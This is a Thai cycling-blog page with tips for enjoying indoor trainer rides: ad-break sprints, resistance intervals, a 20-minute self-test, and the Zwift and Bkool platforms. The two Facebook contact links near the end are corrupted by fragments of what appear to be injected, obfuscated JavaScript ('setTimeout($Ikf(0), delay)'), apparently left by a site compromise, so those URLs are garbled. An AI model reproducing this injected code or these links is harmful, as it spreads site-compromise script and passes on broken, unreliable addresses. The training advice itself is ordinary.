• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ปั่น Trainer อย่างไรให้สนุก

stepextra by stepextra
20 June 2016
in Cycling Tips, Feature, Tips & Technics
0
ปั่น Trainer อย่างไรให้สนุก
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ปั่น Trainer อย่างไรให้สนุก

ดูคู่กรรม 10 รอบกับปั่น Trainer 1 อย่างไหนน่าเบื่อกว่ากันครับ…ตำตอบคือคุณต้องขึ้นปั่น trainer และต้องทำให้มัน Enjoy & Exciting!

โชคดีที่ Stepextra มีวิธีแก้เบื่อให้คุณระหว่างการปั่น Trainer….

1. สปริ๊นท์ระหว่างโฆษณา

ช่วงโฆษณาจะกินเวลาประมาณ 2-3 นาที จังหวะนี้ใส่รอบปั่นให้เต็มที่ จะช่วยเพิ่มความแข็งแรงให้กล้ามเนื้อและความสามารถในการทำความร็วหรือสปริ๊นทร์ระหว่างไต่เขาระยะสั้นๆ ช่วงรายการธรรมดาก็ปั่นรักษาความเร็วพอถึงโฆษณาคือนาทีทองของเรา รับรองว่าคุณจะรักช่วงเวลาโฆษณาขึ้นมาทันที

2. ใส่ Interval เข้าไป

ฝึกการปั่น Interval ลงไป อย่างเช่น การกำหนด Pace หรือ Heart rate zone เป็นระยะเวลาสัก 2-3 นาทีแล้วค่อยเปลี่ยนไประดับอื่น เราสามารถดีไซด์ได้ว่าจะขึ้นลงตามช่วงเวลาที่กำหนดเท่า แต่ใน Trainer บางรุ่นสามารถกำหนดความหนืดได้เป็นระดับ จาก 1-6 เป็นต้น ลองฝึกปั่น warm-up ระดับ 5 ที่รอบขา 70-90 rpm 15 นาที แล้วปรับระดับควมหนือขึ้นไปที่ 6 หรือ 7 ปั่นที่รอบขา 70-90เหมือนเดิม ใช้เวลาประมาณ 2-3 นาทีแล้วลดลงมาที่ระดับ 5 เพื่อพักสัก 1-2 นาทีแล้วปรับระดับสูงขึ้นไปที่ 7-8 ปั่นอีก 2-3 นาทีและพักที่ระดับ 5 อีก 1-2 นาทีก่อนขึ้นไปใหม่อีกครั้งอย่างนี้ก็ได้นะครับ สามารถฆ่าเวลาได้ดีมากๆ เลย

trainer-bike-med

3. ใช้ทดสอบตัวเอง

หลังจากปั่นมา 2-3 สัปดาห์ไม่ว่าจะ indoor หรือ outdoor ลองทดสอบความสามารถตัวเองสักหน่อยดูมั้ย โดยใช้เวลาปั่น
1. Warm-up 10 นาที
2. ปั่นเร็วระดับที่สามารถประคอบไว้ได้ในระยะยาวๆ อีก 20 นาที
3. ปั่นเบาๆ อีก 5 นาที
4. แล้วต่อด้วยปั่นเร็วเหมือนเดิม 20 นาที
5. จบด้วยปั่น cool-down 5 นาที

ถ้ารถคุณมี power meter ลองดูว่าคุณสามารถรักษา Watt ในช่วง 20 นาทีที่ปั่นเร็วได้เท่าไหร ถ้าไม่มีให้ลองดูที่ Speed จำไว้ว่าระดับความหนืดและความดันล้อควรจะเท่าเดิมเหมือนการทดสอบครั้งก่อนๆ

4. เข้าสู่โลก Visual Game

zwift1

ในปัจจุบันมีบริษัทที่ทำเกมส์ปั่นจักรยานที่ทำให้เราสามารถปั่นเจ้า Trainer แข่งกับเพื่อนๆ รอบโลกได้คือ Bkool และ Zwift เราจำเป็นต้องมีอุปกรณ์หลักๆ คือ trainer, internet, bike computer และอุปกรณ์เชื่อมต่ออย่าง Ant+ เข้ากับ Speed &cadence sensor เท่านี้ก็เล่นได้แล้วครับ

ในเมืองไทยมีผู้จัดจำหน่าย Bkool สามารถติดต่อได้ที่ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”>https://www.facebook.com/bkoolthailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

ส่วนของ Zwift สามารถเข้าไปพูดคุยแลกเปลี่ยนความคิดเห็นได้ที่ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and?fref=ts”>https://www.facebook.com/ZwiftThailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and?fref=ts

ผมแปะตัวคลิปของ Zwift ในดูนะครับจะได้เห็นภาพและเข้าใจง่ายยิ่งขึ้น

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.